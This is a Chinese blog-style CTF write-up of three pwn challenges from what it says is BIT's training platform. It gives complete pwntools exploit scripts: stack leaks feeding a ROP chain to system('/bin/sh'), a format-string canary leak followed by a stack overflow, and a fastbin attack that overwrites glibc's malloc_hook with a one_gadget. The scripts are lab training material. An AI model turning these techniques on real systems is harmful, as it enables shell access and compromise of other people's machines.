BIT 常态化在线CTF系统 pwn题目

　　偶然得到这个平台，发现是BIT的CTF平台，应该是平时的阶段性的训练题目。看了看题，其他方向的题目感觉都是入门题，但是pwn题目，发现还是比入门题难一点点的，来记录一下。

pwn1

　　栈上任意位置的读写操作，只能一字节一字节读写，算好偏移，还是挺好做的。

　　比较坑的是，远程的libc被改了，用one_gadgets打的时候，明明可以拿到shell，但是不给flag！真是可恶！！！

　　做题思路：泄露libc基地址，泄露pie程序基地址，把返回地址覆盖成pop_rdi，binsh，system，拿shell三连来拿到flag。

exp：

from pwn import *

#p = process('./pwn')
p = remote('39.105.189.183',7005)
#libc = ELF('./libc.so.6')
libc = ELF('./libc-2.23.so')
context.log_level = 'debug'

p.sendafter('name:','bhxdn')
libc_base = ''

#leak libc
for i in range(6):
    p.sendlineafter('index\n',str(637-i))
    temp = p.recvuntil('\n')[-3:-1]
    libc_base += temp
    temp = int(temp,16)
    p.sendlineafter('value\n',str(temp))

libc_base = int(libc_base,16)-240-libc.symbols['__libc_start_main']
print 'libc_base-->'+hex(libc_base)
system = libc_base+libc.symbols['system']
binsh = libc_base+libc.search('/bin/sh').next()

#leak pie
pie = ''
for i in range(6):
    p.sendlineafter('index\n',str(637-288-i))
    temp = p.recvuntil('\n')[-3:-1]
    pie += temp
    temp = int(temp,16)
    p.sendlineafter('value\n',str(temp))
pie = int(pie,16)-0x000B11
print 'pie-->'+hex(pie)
pop_rdi = pie+0x00d03
pop_rdi = str(hex(pop_rdi))
system = str(hex(system))
binsh = str(hex(binsh))

for i in range(6):
    p.sendlineafter('index\n',str(637-288-i))
    a = (i+1)*2
    temp = int(pop_rdi[a:a+2],16)
    p.sendlineafter('value\n',str(temp))
for i in range(6):
    p.sendlineafter('index\n',str(637-288-i+8))
    a = (i+1)*2
    temp = int(binsh[a:a+2],16)
    p.sendlineafter('value\n',str(temp))
for i in range(6):
    p.sendlineafter('index\n',str(637-288-i+16))
    a = (i+1)*2
    temp = int(system[a:a+2],16)
    p.sendlineafter('value\n',str(temp))

p.sendlineafter('index\n','0')
p.sendlineafter('value\n','a')
p.sendlineafter('no)? ','no')
p.interactive()
p.recv()
p.recv()

pwn2

　　32位程序，有栈溢出，有格式化字符串漏洞。

　　先利用格式化字符串漏洞泄露canary和libc基地址，然后覆盖返回地址，拿shell三连击！

from pwn import *

#p = process('./pwn2')
libc = ELF('./libc-2.23_x86.so')
p = remote('39.105.189.183',7006)
context.log_level = 'debug'

p.sendlineafter('me?[Y]\n','Y')
p.sendlineafter('please:\n','%11$p-%27$p')
canary = int(p.recvuntil('-')[-11:-1],16)
libc_base = int(p.recv(10),16)-247-libc.symbols['__libc_start_main']
print 'canary-->'+hex(canary)
print 'libc_base-->'+hex(libc_base)
system = libc_base+0x03adb0
binsh = libc_base+0x15bb0b
system = libc_base+libc.symbols['system']
binsh = libc_base+libc.search('/bin/sh').next()
ret = 0x08048973
payload= 'a'*0x10+p32(canary)+'bbbb'*3+p32(ret)+p32(system)+p32(0)+p32(binsh)
p.send(payload)
p.interactive()

pwn3

　　pwn3是一道堆题目，增删查改四个功能都有。程序没有开启pie。

　　add：可以创建任意大小的堆块，其余漏洞没有了。（用的是malloc创建的堆块，创建时不会清理原来堆块的残余数据）

　　edit：没有任何问题，边界都控制的很好，也没有溢出。

　　show：没有任何问题。

　　delete：漏洞点就在delete函数中。发现对程序进行free的时候，没有检查边界。如果我们在堆上面伪造chunk指针，delete我们伪造的指针，就可以实现攻击。

　　做题思路：

　　1.通过创建0x80大小的堆块，再申请回来，show一下拿到libc基地址。

　　2.让unsortedbin链上有两个chunk，此时的一个chunk上的bk指针是指向另一个chunk的，bk存着堆地址，然后申请回来，show就可以得到堆的地址。

　　3.在堆上伪造一个chunk指针，指向一个chunk，利用delete函数的漏洞，对这个chunk进行free，此时在bss段还会有一个指向free的这个chunk的指针。这个chunk需要是0x68大小，free后是fastbins，也能申请到malloc_hook-0x23的位置。接下来就是改写fd指针，打malloc_hook，用realloc抬帧。

　　吐槽：还是libc问题，尝试了好多次，才找到一个可以用的偏移。

exp：

from pwn import *

p = process('./pwn')
#p = remote('39.105.189.183',7007)
elf = ELF('./pwn')
context.log_level = 'debug'
#libc = ELF('./libc.so.6')
libc = ELF('./libc-2.23.so')

def duan():
    gdb.attach(p)
    pause()
def add(size,content):
    p.sendlineafter('choice:','2')
    p.sendlineafter('daily:',str(size))
    p.sendafter('daily\n',content)
def show():
    p.sendlineafter('choice:','1')
def edit(index,content):
    p.sendlineafter('choice:','3')
    p.sendlineafter('daily:',str(index))
    p.sendafter('daily\n',content)
def delete(index):
    p.sendlineafter('choice:','4')
    p.sendlineafter('daily:',str(index))

add(0x80,'aaaaaaaa')
add(0x80,'bbbbbbbb')
delete(0)
add(0x80,'aaaaaaaa')
show()
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88-0x10-libc.symbols['__malloc_hook']
print 'libc_base-->'+hex(libc_base)
add(0x10,'aaaaaaaa')
add(0x80,'zzzzzzzz')
add(0x10,'zzzzzzzz')
delete(1)
delete(3)
duan()
add(0x80,'aaaabbbb')

show()
p.recvuntil('aaaabbbb')
heap_base = u64(p.recv(4).ljust(8,'\x00'))-0x140
print 'heap_base-->'+hex(heap_base)
add(0x80,'aaaaaaaa')
add(0x20,p64(0x70)+p64(heap_base+0x210+0x20))
add(0x68,'aaaaaaaa')
add(0x10,'zzzzzzzz')
offset = (heap_base+0x200-0x602060)/16
print 'offset-->'+str(offset)
delete(offset)
edit(1,'zzzzzzzz')
edit(6,p64(libc_base+libc.symbols['__malloc_hook']-0x23))
add(0x68,'aaaaaaaa')

#og = [0x45226,0x4527a,0xf0364,0xf1207]
og = [0x45216,0x4526a,0xf02a4,0xf1147]
shell = libc_base+og[1]

print hex(libc_base+libc.symbols['__malloc_hook']-0x23)
realloc = libc_base+libc.symbols['realloc']

#add(0x68,'a'*(0x13-0x8)+p64(shell)+p64(realloc+13))
add(0x68,'a'*(0x13-0x8)+p64(shell)+p64(realloc+6))
p.sendlineafter('choice:','2')
p.sendlineafter('daily:',str(0x10))
p.interactive()